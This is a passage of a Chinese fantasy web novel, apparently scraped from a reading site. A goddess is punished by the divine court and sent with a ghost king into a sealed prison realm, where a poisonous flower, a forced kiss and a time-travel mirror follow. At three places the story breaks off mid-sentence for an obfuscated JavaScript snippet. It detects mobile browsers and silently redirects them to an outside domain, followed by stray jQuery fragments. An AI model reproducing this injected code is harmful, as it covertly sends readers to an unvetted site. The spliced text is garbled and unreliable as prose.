“姐姐？”易桉快步踏至洛念安身边，也是将她上下看了一遍，目光一凝，伸手握住其手腕将其右手抬起，凝眉道：“手怎地冻成这样？” 那边叶蓉闻言，视线落在她的手上，一瞬间做了八百个动作，嘴里快速道：“我方才在做饭然后洛姐姐在洗衣服她在河边洗衣服所以......河边！水太冷了！” 洛念安将手抽回，一边抬起一只手制止他们继续就这个问题说下去：“旧伤，天气一冷就这样，无甚大碍。”说着她看向易桉，“小桉，抱歉着急找你过来，但是现在只有你能帮我。” 见她眉眼间显出急色，易桉柔声道：“不着急，姐姐有事尽管说。” 洛念安伸手拉过叶蓉，对易桉道：“麻烦你先带小蓉去你那处待一段时间，我现在需回神界一趟，我担心有人要来抓她。” 叶蓉闻声抬高眉毛，伸手指向自己：“抓我？我犯天条啦？” “回头细说。”洛念安已经来不及多说，匆忙间伸手摸了摸阿离的脑袋，转身消失在院中。 踏入紫微大殿时，那一道道投射而来的视线似要将她刺穿，定在地上动也动不得一般。 她寻了个位子站住，瞥见锦和俯身在洛君逸耳边说了些什么，后者的视线随之落在她的位置。 “珈洛。” 洛念安听声离位，站至大殿中央：“在。” 洛君逸沉着面色：“你几次三番纵容女鬼叶蓉为祸人间，残害苍生，你可知错？” 洛念安俯身行礼：“珈洛敢问帝君，何为苍生？”她也没管洛君逸究竟会不会答，自顾回道，“世人分男女，男女皆为苍生。叶蓉所做，非我纵容，而是受我指使。” 此言一出，全场哗然。 明修气道：“你身为上神，成日与妖魔鬼怪混在一起也就罢了。还指使女鬼残害苍生，你！你真是！”他拂尘一甩，气得侧过身去。 洛念安淡定道：“既然寻真阁已查出此事，想必也查明了她所杀之人的生平事迹，哪一个不是手染鲜血？杀人偿命天经地义，留他们在世上只会平添他人疾苦，他们之死，无甚无辜。” 锦和道：“殿下，女鬼叶蓉所杀五人，其他四人确有人命在手，但剩下一人并未犯下命案。” 洛念安看向他，温声道：“那是因为那女子在奄奄一息时被叶蓉所救，照真君所说，杀人未遂便不叫杀人？非要那女子死于他手，他才能死吗？他不死，女子便死，故而，他必须死。” 锦和继续道：“殿下，是非因果皆为命数。他们今世作恶，来世必遭报应。你这样强行介入，扰乱因果，人间岂不是要乱套了。” “命数？”洛念安微微一笑，“若是我看着苍生死在我面前而无所作为，那做这神又有何意义？今世作恶就该今世得报，让其所做之恶十倍百倍还于其身，令其为自己所做之事感到悔恨、痛苦。等来世，太晚了吧。” 她是看着锦和的，这番话说完，视线一转，瞥见洛君逸嘴角竟扬起一抹笑意。 洛念安微微一愣，再望去时，他仍是那般严肃地坐在那里，方才仿佛是她的错觉。 她的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686572|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番言论掀起了紫微大殿的讨论热潮，大抵分为两派，以柳渊、赫连昭为首的赞同派，和以明修为首的反对派。 明修压过众人的讨论声，大声道：“话虽如此，但你身为上神，不顾神职，纵容鬼怪害人，就是不对。” 洛念安低垂着眸，闻言，抬眸看向他，温声道：“好，那，贬了我。” 众神噤声。 “……”明修似乎愣了一下，随即气急败坏地看向洛君逸：“你看看她，简直无法无天！” 洛君逸蹙着眉，坐在位上，沉默半晌。锦和凑到他身边说了几句话，洛君逸看下来：“女鬼叶蓉现在何处？” 洛念安面不改色道：“不知，我一向不管她去了何处。” 明修望她，满眼不信：“你将她藏到哪里去了？” 洛念安淡定依旧：“我确实不知。” 锦和又凑过去说悄悄话。 洛念安望着他们，洛君逸望着她，道：“现有一事交于你。你做好了，便算将功补过，神界不再追究这件事。若是做不好，你便自请下界吧。” 洛念安垂下眸，心如止水，道：“是。” 洛君逸继续道：“近来，无量狱结界异动，现派你前去，进入无量狱，排查诱因，加固封印。” 赞同派、反对派此时都归为震惊派，面面相觑。 “帝君，”柳渊站了出来，“无量狱那种地方，念将军一人前往恐难以应付，我愿随之前往。” 赫连昭紧随其后：“我也愿随之前往。” 锦和出声道：“二位将军，神界近来事物繁多，还需二位多多分担。” 柳渊道：“可是念将军要去的是无量狱啊，又不是旁的什么地方，无量狱是哪里大家都清楚吧？里面镇压的尚不知有何物，她一人去如何应付的过来？” 锦和依旧温和道：“若无难处，又怎能将功补过呢。” “多谢二位将军。”洛念安出声制止，接着对洛君逸道：“珈洛领命。” 事情发展至此，震惊派又都转为了同情派。 “为难人嘛这不是，当年无量狱由帝君牵头，六名上神合力镇压封印，现在让她一人去……” “都说了将功补过啊。” “我看啊，跟直接贬没什么两样。” “还要进去，出不出得来都两说。” 洛念安将众人的议论声尽收耳中，沉默地与柳渊他们一齐往外走。 “我偷偷跟你去。”柳渊道。 赫连昭赞同：“我正有这想法。” “别了二位，”洛念安道：“我们身在何处，寻真阁一查便知。别连累二位挨罚。” 柳渊道：“罚呗，最多罚点钱，我也不差那些。” 洛念安看向他笑了笑，道：“放心吧，我量力而行，遇事不对会撤退的。贬就贬吧，大不了五百年后我再飞一次，哈哈……” 她发现自己讲的笑话只有自己笑了，其余两人都没笑，于是讪讪收了声。 见他们神情严肃，洛念安出声安慰道：“好了好了，加固个封印而已，我没那么弱吧。” 等一下，该被安慰的应该是她才对吧？ “真没事，”洛念安继续道，“这样，我喊上小桉和我一起，神界总管不了他吧？” “对！”柳渊道：“我正想说呢，你让太阴仙陪你一起，我们也放心些。” 赫连昭一个白眼恨不得翻到天上去，蹙着眉不可置信道：“你在放心谁啊？太阴鬼王吗？！” 柳渊呛他：“你懂什么？” 赫连昭道：“不行，我和你一起去，挨罚就挨罚，大不了他贬了我。” 洛念安停下脚步，扭头看向他，严肃道：“胡说什么？你不准去。” “……”赫连昭噤声垂首。 柳渊被他那怂样逗笑了，在一旁幸灾乐祸道：“就得你师父治你。” 洛念安恢复了平日的神色，温声道：“好了二位，事不宜迟，我这就出发了，二位就送到这吧。” 说完，她最后扫了赫连昭一眼，迈步继续往前，出了天门。 43. 无量狱巧遇欢颜花 洛念安顺着从锦和那里得到的地图的指引，不知绕了多少圈，才终于见到地图上标出印记之地。她收起地图，望着眼前怪石嶙峋，又掏出地图仔细看了看，纳闷自语：“入口是这里吗？嗯……这应该是个石阵？” “不错。” 突然出现的声音吓了她一跳，她扭头往声源处看去，猛的愣住：“小桉？” 易桉又化作那副少年模样，立在不远处，笑容满面朝她招手：“姐姐。” 洛念安惊讶得睁大双眸，维持着这个姿势，反应了好一会儿，才转身面向他：“你怎么来了？” 易桉往前，缓步朝她走来：“听闻神界器重姐姐，派了一项重要任务。” 这番话听得洛念安心里发暖。 他继续道：“姐姐难道忘了？上次说，下次会唤我一起。” 在落阳关那次。 洛念安从回忆中抽离，露出笑容，道：“看来鬼王大人在神界的眼线不止白锦一个。” 易桉笑着道：“生存之需。”他走上前来，从洛念安手中接过地图卷轴，扫了一眼，随手插在腰带处，不知从哪弄出一个小瓷罐，打开，对她道，“姐姐，手给我。” 洛念安怔了怔，伸出自己冻的有些红肿的手。 易桉看了一眼，蹙着眉抿唇不语，只是仔细又小心地药膏一点点涂抹在她的手指间。 洛念安见他的神情，轻声道：“没事的，年年如此，等来年开春就会好了。” 易桉的面色似乎更不好了，他抬眼看她：“不疼吗？” 洛念安赶紧摇摇头，微笑道：“不疼的，只是偶尔有些痒。” 易桉没再说话，只是将药膏又涂了一层，涂好之后，他道：“应该很快就好。” 洛念安低头看着自己的双手，原本红肿发热的手上传来药膏的丝丝凉意，十分舒服。她扬起唇角，看向易桉：“谢谢。” 易桉望着她，轻叹了口气，道：“姐姐总是谢我，看来还是见外了。” 洛念安赶紧道：“怎么会？那我以后就不谢你了。” 闻言，易桉低笑了一声，道：“好啊。”说完笑完，他收起药膏，又将腰间的卷轴抽出，展开看了起来。 洛念安见他看的认真，好奇道：“你没来过这里吗？” 易桉侧眸看过来，笑道：“姐姐为何觉得我会来过这里？” 洛念安歪着头，眉毛高挑：“他们都说这里是妖魔鬼怪诞生的摇篮，除了女魔颜无双，还诞生了几只大妖大鬼跟随其左右。” 易桉点头，视线又移到地图上：“她在世时的确如此，自那一战，该灭的都灭绝了，剩下被镇压在里面的都不成气候。”他合上卷轴，抱臂而立，看向洛念安，笑道，“我自然也与这个地方无任何关系。” 闻言，洛念安点点头：“哦，我还以为那里面有助于你修炼呢。” 易桉道：“相反，颜无双为了限制她身侧妖鬼的实力，想了许多法子。” 洛念安问道：“什么法子？” 易桉摊手道：“具体如何她自然不会告诉旁人，我们进去看看，说不定运气好，就碰到了。” 洛念安愣了一下，一时没反应过来：“等一下，运气好，碰到了？可是若是我们碰到了不会对你有何不利影响吗？” 易桉笑了笑，道：“我们今日这一趟不就是一场未知之旅吗？”见洛念安神情严肃，他安抚道：“姐姐放心，我不会让你有事的。” 洛念安望着他：“可是，现在我只关心你进去会不会有事。” 易桉微微一怔，嘴角泛起笑意，他柔声道：“我也不会有事。” 洛念安还是担心，若是易桉为其受了伤，她会十分自责愧疚。 易桉忽然凑到她面前，仔细端详着她的神情，然后道：“担心我？” 洛念安愣了愣，诚实点头。 易桉无奈笑道：“只是限制实力，又非赶尽杀绝。百年前这里群魔乱舞妖鬼横行，没人比我更适合进去了。再说了，姐姐莫非忘了，我是鬼啊，已经死过一次，哪会那么轻易再死一次？放心好了。” “……”听他这么安慰一番，洛念安心里似乎更难受了。她摇了摇头，企图将脑中乱七八糟的思绪甩出去。易桉说的有理，而且，她也应该相信他的实力。 确认洛念安的脸色好看了，易桉才直起身子，看向前面的石阵：“前面的怪石阵，穿过去便能进入无量狱。” 无量狱四面环山，它所处之地，是群山内的一处平原。天然地势让其看起来似一座牢笼，而其又是女魔诞生之地，出于某种心理，神界命其名为无量狱。 踏上传说中的土地，眼前之景令洛念安深受震撼。想象中的荒凉灰暗并未出现，取而代之的是碧树参天，繁花似锦，唯一遗憾的是这里似乎没有生灵，故而也就没有鸟语花香之景。 无量狱封印阵法共有五处阵眼，根据地图指示，即，金木水火土，五行之阵。 “这里。”易桉带着洛念安继续往前，踏在绵软的草地上，穿入参天大树的缝隙中。这里就不经人，几乎看不见路，不太好走。 洛念安跟在他身后，展开地图看着，看样子，他们应该是要去往距离最近的“木”阵眼之处。记住大致方位，洛念安将卷轴反手塞进身后的麻袋里，紧跟着易桉的步伐。 “姐姐，小心些。” 易桉几乎三步一回头，见他回头回得实在辛苦，洛念安失笑道：“我能跟上，不必担心。” 易桉不知抬起小臂在做什么，片刻后，他停下来，朝洛念安伸出右手。她垂眸看去，发现他将右臂上那只冰冷的护腕摘了去，她正愣神，便听见易桉道：“拉住我的手腕。” “……”洛念安抿唇，为了不让他继续那样辛苦回头，于是伸手握住了他的手腕。 易桉垂眸看了一眼那只手，才回头，带着洛念安继续往前走去。 深一脚浅一脚不知走了多久，寂静到能听见呼吸声的树林里忽然传出几声轻微的声响。 见易桉无甚反应，洛念安忍不住道：“小桉，你有听见什么声音吗？” 易桉道：“一些小精怪罢了，姐姐不必担心。” 虽然他看不见，但还是洛念安点点头。视线中两侧的树干忽然爬上根根藤枝，探出枝头，似乎想要缠住他们，又碍于某种原因不敢靠近。 那声音就是这些藤枝怪发出来的。 他们穿过一片杂草丛生的树林，视线豁然开朗。这里的树木没有那么密集，盛开着粉白相间的花，尚不知其名。脚下是绵软的草地，星星点点生长着一簇一簇的野花。不远处，能听见水声潺潺，有一条贯穿而入的河流，河面很窄，又比小溪宽上许多。一步之间，两处景色截然不同，洛念安微微一愣，觉得十分神奇。 她不自觉停了下来，手一松，易桉也跟着停下。转身看见洛念安正蹲在地上在麻袋里翻找着什么东西，便也跟着蹲了下来，笑道：“找什么呢？” “卷轴，我想看看那树上种的是什么花。”洛念安从四卷卷轴里挑出一卷，展开看了看，又放下，选中另外一卷展开。 找到自己想要的卷轴，洛念安将其他的收拾收拾装进麻袋，站起身背在身后，对易桉道：“我们继续出发吧。” “好。”易桉站起身，这里的路很好走，二人便并肩而行。 洛念安看卷轴看得认真，好不容易找到上面记载的内容，欣喜道：“果真记载了，原来这里的花叫……欢颜花。”她扭头，发现身侧之人不见踪影，便停下来习惯性往后看去，发现易桉不知何时竟落于身后，正一手撑着树干停在原地。 洛念安心里一惊，快速上前，见易桉白皙的面颊透着诡异的红晕。她愣了愣，抬手轻轻触碰了一下那抹红晕，指尖一灼，她下意识缩回手。 烫？！！ 他怎么会发烫呢？！ 洛念安瞬间慌了神：“小桉？你怎么了？” “姐姐……”不知是不是身体发烫的缘故，烧得易桉看向她的目光也灼热起来。他忽地放下支撑的手臂，垂首，额头抵在洛念安的肩膀处，嗓音沙哑：“我难受……” 洛念安心里一紧。她将手上的卷轴丢至一旁，扶着易桉坐下，让他以一个舒服的姿势倚着身后的树干，她蹲在地上，将麻袋里的东西一股脑倒出来翻翻找找，一样有用的都没有。事实上她也不知道自己到底在寻找什么，只觉得心里很是慌乱。洛念安深吸一口气，强迫自己镇静下来，扭头看向易桉，见他半阖着眸子，似乎有些神志不清，但视线依旧紧紧追随着她。 “小桉？”洛念安无措地唤着他，嘴里絮絮叨叨地念着，“你生病了？发烧了？你怎么会发烧呢？”自责愧疚如饿狼撕咬上来，慌乱间，她凑上前去，伸手覆上他的面颊，企图用自己冰凉的双手为他降温。 不知是不是她的错觉，手一覆上去，易桉似乎喘了几口气，连眸子都睁大了几分。 温凉之感传来，似能抚平心底的燥意。易桉下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710989|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手握紧她的手腕，滚烫的面颊紧贴了上去，又半阖上眸子。 “姐姐……”他低声呢喃着：“我难受……” 洛念安望着他的模样，听着他的声音，突然想起了洛太初，那时他风寒发烧，总是粘着她，躺在她怀中，一个劲儿地说自己难受。 她柔声道：“怎么个难受法？” 易桉含含糊糊道：“热……” “热？”无措间，洛念安瞥见不远处的河水，灵光一现，道：“小桉，我去用手帕弄些凉水来，等我。”她欲抽手起身，手腕上的力道却突然加重，冷不丁拉着她往身侧倒去。 易桉另一只手稳稳接住她，却是顺势一翻，将她困于身下。洛念安有些晕头转向，待看清眼前情势，整个人都僵硬住。 易桉投下来的视线似乎比方才还要灼热，烧得她心慌。 双手被钳制在身体两侧，洛念安小心唤道：“小桉……唔……？！” 唇间贴上柔软，却是一片滚烫。 洛念安双目猝然睁大，大脑一片空白，耳边阵阵耳鸣声起。 她太过震惊以至全无反应，双手被人架至头顶，身下是绵软的草地，身上是滚烫的身躯。 易桉的吻毫无章法，似是在发泄什么一般，撬开齿贝，长舌深入，横冲直撞。 这样的攻势，让从未经历过的洛念安完全招架不住，心脏在胸腔砰砰狂跳。她试图挣扎，手腕却被更加用力的锢住。耳边的呼吸声又重又乱，有她的，似乎也有易桉的。 不知是出于怎样的心理，她放弃了挣扎，缓缓闭上双眼。 下一刻，口腔间忽然弥漫出一股血腥味，不是她的。唇间触感消失，洛念安猝然睁眼，正对上易桉略显清明的双眸，她往下一瞥，看见他唇角渗出的血迹，愣了神。 易桉咬了自己的舌头。 他的面颊仍旧泛着红晕，扭头看向不远处的河流，翻过身，撑地站了起来。 洛念安躺在地上，双唇发麻，口中仍泛着血腥味，不远处传来“扑通”一声，惊得她回了神，一下坐起身子，扭头看向河边，没有在河中看见易桉的身影。她站起身，踉踉跄跄扑到河边。 “小桉？！” 音落，易桉忽地从水里探出头，“哗啦”一声。他游至岸边，双臂弯曲架在岸上，偏头埋进臂弯里，身子依旧泡在水中。 洛念安松了一口气，弯腰伸手探了探水温，冰冷刺骨。她又看向易桉，趴在岸边，垂着眸，似乎有些失神。湿漉漉的卷发贴在后背，漂在水面上。打湿的碎发贴着面颊，鼻尖处尚有水珠滴落，原本没有血色的双唇此刻却染着艳色。 易桉眼眸微动，看向洛念安。 他看过来，她又看向别处。 耳边又是“哗啦”一声，易桉上了岸，面对着河流盘腿而坐。洛念安隔着他一步远，蹲在河边。 两人都盯着河面出神。 半晌，易桉忽地轻声道：“对不起，我……” 洛念安摇摇头：“没关系。” “……” “……” 洛念安侧眸看了他一眼，见他面上红晕散去，又回头看向别处：“你好些了吗？” 易桉点头：“嗯。” 洛念安也跟着点头，又问：“舌头，没事吧？” 问完她就后悔了，恨不得立马咬了自己的舌头。 那边安静了一会儿，才出声：“没事。” “……” “……” 好尴尬。 洛念安尬的实在有些受不了，于是起身逃离这个气氛，转回去将自己方才倒出来的东西慢吞吞一点一点收了回去。 等她好不容易收拾完，回头看去，发现易桉仍旧坐在河边，原本湿漉的衣服头发此时已经全干。 易桉似乎有感应一般，也回头看了过来，视线在空中相撞，他起身，朝这边走来。 洛念安站起身，易桉走到她面前停下，视线下移，落在她唇上，忽然递了一块手帕出来。她伸手接过，手帕应是在河边打湿过，她低着头，擦干净唇角的血渍，又抬眸看向易桉。他眼底有一片化不开的淤色，填满了自责，洛念安实在不知该如何安慰，只能使出她最擅长的转移话题，道：“是欢颜花？” 易桉看了一眼满树的欢颜花，点头：“嗯。” 得到肯定答案，洛念安赶紧从袖中掏了一块帕子出来递给他，道：“你捂住口鼻，我们快些离开这里。” “好。” 44. 时空镜里穿越时空 他们穿过欢颜花树林，在另一片森林中间，找到地图显示的“木”封印阵眼，确认阵眼附近并无可疑之物，洛念安便加强了此处的封印。 他们沿着地图的指引，往下一处“水”阵眼走去。 一路上洛念安都在提心吊胆，看见可疑花草就让易桉用手帕捂住口鼻，真正的草木皆兵。 易桉尝试让她放轻松，她却道：“不可大意，方才那毒到水里泡泡就好了，保不准其他的也能在水里泡好。”说着她看向易桉，确认道，“捂好了吗？” 易桉无奈但听话，声音透过手帕传来，闷闷的：“捂好了。” “水”阵眼位于一片湖泊的中央的一座小岛上，那岛极小，看上去能勉强容一人站立。几条河流之水汇集于此，湖水呈墨绿色，湖面平静无波。 洛念安站在湖边观察了一会儿，对身旁的易桉道：“我现在要登上那座岛加强封印。” 易桉点头道：“去吧，我就在这里。” 洛念安手握龙吟，脚下轻点，一跃而起，飞身落至湖心小岛。下一瞬，湖水突然往湖心处涌来，肉眼可见由墨绿色变至黑色。紧接着，四架巨鱼骨破水而出，鱼目猩红，朝着岛上的洛念安袭去。 洛念安手握龙吟，见势正欲开打，眼中乍现一抹寒光，绕其一闪而过，那四架巨鱼骨登时四分五裂落入湖中，整着出来，碎着回去。 湖面重归平静。 洛念安微微一愣，那抹寒光下一刻便落入易桉手中。剑身修长，通体泛着银光。易桉将其尖端插进地下，双手扶着剑柄，望着她扬唇一笑。 洛念安回以微笑，安心加固封印。待她重新回到岸边，才仔细看了看易桉手中的剑：“上次匆匆一见，这就是你的法器吗？” “嗯。”易桉点头，将手中的剑递向她。 “我可以碰吗？”洛念安这样问着，手却比嘴快一步伸了出去。 易桉笑道：“当然。” 她拿着这把剑属实是有些长了，她仔细端详了一番剑身上的花纹，看似繁复，实际上只是几簇花，含苞的，盛开的，剑柄上刻着一串符号。 “这些是……玉兰花？” 易桉挑眉：“嗯，姐姐竟看出来了？” 洛念安笑了笑，如实道：“其实是我猜的。” 易桉微微一怔，随即轻笑出声。 洛念安问道：“那，这些是文字吗？” 易桉的视线顺着她的手指落在剑柄处那串符号上，眸光深沉，道：“不是，我瞎刻的。” 洛念安深信不疑，又问道：“它叫什么名字？” “断魂。” “断魂？”洛念安抿唇，细细品了品，总觉得这两个字似乎有深意。 魂魄离体而去？ 见她满脸认真，易桉笑问：“姐姐在想什么？” 洛念安脱口道：“在想它为何会叫此名。”话一出口，她微微一愣，这是可以说的吗？ “好说，”易桉依旧笑着道，“它是由我的骨灰炼制而成。” 洛念安愣住，握剑的手不自觉松了几分力道。半晌，她嘴唇微动：“为，为何……要用自己的骨灰？” 易桉哈哈笑道：“不用自己的难道用别人的？用自己的自己愿意就好，用别人的总要问问人家同不同意，麻烦。” 洛念安扯了扯唇角，总觉得喉间有什么东西堵在那里，上不来下不去，难受的紧。她将剑还给了易桉，易桉接过，又随手一扔，那剑眼见着要落入湖中，却在即将触碰到湖面时，空中突然裂开一道口子，断魂便落入裂缝中消失不见。 洛念安露出了渴望的眼神，她望向易桉，试探性问道：“小桉，上次那册卷轴可不可以借我看两天？” 易桉笑道：“当然，等回去我便送到姐姐那里。” 洛念安心满意足，忙道：“多谢多谢。” “金”阵眼在一处半山腰，易桉说里面有金矿石。 “土”阵眼在一片荒芜贫瘠的土地中央。 加固这两处封印意外的都很顺利，路上连精怪都没碰见。 剩下最后一处，“火”阵眼。 他们顺着地图指引，来到无量狱的中心位置处，这里坐落着一座残败的深色宫殿，以这宫殿为中心，往外几里都有房屋，不过随着时间流逝，已经看不清本来样貌。 “按照地图指示……最后一处阵眼，应该在，这座宫殿中？”洛念安放下地图，看了看眼前的宫殿。 易桉道：“进去看看就知道了。” 洛念安点点头，两人迈步往宫殿内去。 “这是颜无双的住处吗？” “应该是。” 洛念安看着眼前破败荒凉之境，叹道：“人走茶凉。” 易桉：“她不凉，凉的该是三界了。” 洛念安愣了愣，道：“有理。”她看着石阶两侧灯台倒地，四周杂草丛生，道，“我尚不知她当初做了何事，小桉你知道吗？” 易桉道：“我道听途说了一些，真假未知。” 洛念安兴趣正浓：“说来听听。” “当年神界武职上神加上她刚好一十二名，她堕魔后，三日内文职武职合计诛杀了有十个，将他们的首级置于天门处。” “十个？！”洛念安惊得睁大双眼，“上神满打满算二十四名，她三日内杀了十个？！” 易桉道：“嗯，四位武神，文神，除却启灵和明修，都被杀了。” 洛念安怔了怔，道：“启灵真君是我的授业恩师。” 易桉道：“我知。那时他是少有的明事理之人，想必也是因此免于此劫。明修废话多，惹人嫌，他能活下来，堪称奇迹。” 洛念安无奈笑笑，顿了顿，嘴角又落了下去：“其中必有缘由。” 易桉望着她：“缘由嘛，要么淹没在光阴中，要么随着光阴流逝呈现眼前。” 洛念安看向他，微微一笑，道：“还有吗？” 易桉道：“烧了自己的神庙，杀了她的国民。” “她的国民？” 易桉点头：“飞升前，她是一国将军。只是她的国民不信服她，故而她飞升后香火惨淡，功德箱内少有金银，多的是写满污言秽语的纸条。” “……”洛念安蹙下眉头：“他们为何那样做？” 易桉道：“这个我没问他们。” 洛念安微微一愣，忍不住笑了笑。 他看过来，也跟着弯起唇角，又继续道：“不过我想，大抵是世俗偏见。” 闻言，洛念安叹了口气：“我想也是。” 说话间，他们已经来到殿门前。这殿门一扇好好的待在这里，另一扇却不见踪影。 易桉示意洛念安停下，先行迈入殿中。他往里走了几步，停下来四下看了看，又转回来，道：“姐姐，可以进来了。” “好。”洛念安迈步进去。 这座殿顶破了一个又一个窟窿，有一处顶角塌陷，将地面砸了个坑。殿内杂乱不堪，正上方的宝座侧倒，落满了灰。灯架、屏风，该站着的全都倒下，地面满是石头、木屑碎渣。 洛念安四处转了一圈，疑惑道：“这里与火有何关系？这殿内并无无灼烧的痕迹。” 易桉看了一眼满地散落的灯架，道：“此处应是使用明火最多之地。” 洛念安也看向满地的灯架，道：“话虽如此，但是我没发现阵眼在何处。”她又将地图展开，细看了一番，肯定道，“是这里没错。”她抬步往前，走上宝座所在的高台，立在落满灰尘的座椅前，四下望了望，“这里也没有。” 她话音一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711814|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眯了眯眼，又靠近看了一眼，发现座椅后方的地面上躺着一面形状怪异的铜镜，似两面圆镜拼接在一起，奇怪的是，这铜镜的镜面上竟未被蒙上灰尘。 “小桉，”洛念安扭头看向易桉：“你来看，这里有一面奇怪的铜镜。” 易桉几步迈了上来，凑到洛念安身边，垂眸看去。 两人对视一眼，洛念安道：“它原本应该不是在此处，上面没有落灰。” 易桉道：“无量狱受神界管辖，此处有封印，寻常妖鬼进不来出不去，有谁会进来放一面铜镜在此处？” 洛念安摇头，道：“或者，它是一件法器。” 法器有灵，不会随时间流逝蒙上灰尘。 洛念安又靠近了些，易桉伸手握住她的手腕。洛念安微微一怔，回眸看了他一眼，又往前靠近几步，易桉随之靠近。 洛念安凑过去仔细看了看，发现它除了形状怪异外，与寻常铜镜无甚区别。她又往前凑了凑，铜镜内随之照映出她的面容。下一瞬，铜镜内突然投射出一片金光。 易桉手疾眼快，将洛念安拉至自己身侧。 然而，那片金光瞬间填满宫殿。 洛念安紧闭双眼，情急之下反握住易桉的手。 他们似乎跌入了一个无底之洞，不断下坠，耳边的劲风呼呼作响。 易桉长臂一捞，将洛念安紧紧揽入怀中。 此时洛念安也顾不得其他，下意识环上他的腰身。 “咚”得一声闷响传来，洛念安感受到他们落了地，头晕目眩地睁开眼，发现自己正趴在易桉身上，而易桉后背着地，双目紧闭。 “小桉？！”洛念安手忙脚乱地从他身上爬起来，跪坐在他身边。 易桉迟迟没有动静。 洛念安心脏猛地一跳，慌乱中，她伸手去探了探易桉的鼻息。 没有？！ 她愣了一下，反应过来，又缩回了手。 有才更吓人。 “小桉？”她凑上前去，双手摸上易桉的面颊，左右晃了晃，“小桉？” 易桉猝然睁眸，对上洛念安的视线，眨了眨眼。 洛念安怔了怔，松了口气，缩回手，扶着他起身，问道：“有没有事？身上疼不疼？” 易桉从地上坐起，曲起右腿，左手撑在身后，看向她，软着声音：“疼。” 洛念安一下子直起身子：“哪里疼？肯定是摔伤了。” 易桉左右看了一眼，抬起左臂，道：“手肘疼。” 洛念安抬手握住他的小臂，道：“撩起袖子看看，擦伤了还是怎样。” 易桉却道：“不用，姐姐吹一吹就好了。” 洛念安愣住：“啊？” 易桉眨着眼睛，伸出手臂：“嗯。” 洛念安虽不明白，但听言照做，凑过去对着他的手肘轻轻吹了吹。 易桉眼底铺满笑意，几乎要涌了出来，他放下手臂，道：“不疼了。” 洛念安蹙了蹙眉，总觉得奇怪：“吹一下就不疼了？” 易桉点头，认真道：“是啊，一点都不疼了。” 真是奇怪。 洛念安左右看了看，发现他们现在正位于开满欢颜花的河边。 看清周身环境，洛念安飞速抬手捂住易桉的口鼻：“欢颜花！” 掌心处一片柔软，有些发痒。 洛念安愣住。 易桉似乎也愣住了，只眨着眼睛，望着她。 她又猛地缩手，掏出手帕塞进他手中，慌乱道：“快捂住口鼻。” 易桉似乎方才回神，依言照做，抬眼看了下四周。 洛念安转移话题道：“我们这是在哪？怎么回到这里了？” 易桉却道：“不，这里不是我们来时的无量狱。” 45. 偶入镜见女魔无双 洛念安也发现了这一点。 欢颜花林并不似初见时那般，虽花开的灿烂，但远不如眼前的多。连草地上的野花野草也茂密许多，身旁的河水不似方才那般死寂，而是奔腾着向前涌去。 她侧眸，与易桉对视一眼，两人同时站起身，她道：“先离开这里。” 他们默契地往方才那座宫殿所在位置处走去。 越靠近时，不对劲的气息越浓烈。 一直到，他们同时看见不远处出现了一排有一排房屋，而那座宫殿被周围的房屋簇拥，高高地立于中央。 有人。 易桉伸手拉住洛念安的胳膊，两人齐齐钻进路旁的从林中。 洛念安神情严肃：“妖鬼之气。”停顿片刻，她抬眸看向易桉，“那面铜镜。” 易桉垂眸看她：“两种可能，一，那铜镜是颜无双所造法器，能够逆转时空，如今我们身处于几百年前的无量狱。二，我们目前所见，是镜内幻象。” 洛念安抿唇沉思，须臾，她摇摇头，问道：“第一，若是她真的有如此厉害的法器，为何不想方设法回到被灭之前？第二，若只是镜内幻象，她肉身已消逝六百年之久，残魂仍镇于不归川，如何能留下如此多的法力维持这样逼真的幻象？” 易桉探出头往后看了一眼，对她道：“如今只能进去寻找答案。” “嗯。”洛念安点头，转身就要往外走。易桉却轻轻拉住她，她扭头，面露疑惑。 易桉摊开手掌，递到她面前。他手中摊开一张牛皮纸，纸上躺着一粒黑色药丸。 洛念安想都没想，伸手拾起那粒药丸送入口中服下。 她这样毫不犹豫，倒是让易桉怔了怔，他扬唇笑道：“姐姐不问这是什么？” 洛念安也笑：“我猜，是用来掩盖我身上气息的。” 易桉面上笑容更盛：“姐姐好聪明。” 洛念安弯眼笑了笑，想起在鬼市上见到的东西都具有一定的时效性，便问道：“这个能管多久？” 易桉道：“姐姐放心，这是特制，只有解药能解。” 洛念安歪头看他：“那我现在身上应该鬼气横生了吧？” 易桉轻轻一笑，望着她：“我怎么可能让姐姐沾染鬼气？” 出去之前，洛念安还是有些不放心：“我们这样进到里面去，会不会很突兀？” “不会，”易桉道：“百年前，这里可是要比我那处热闹得多。” 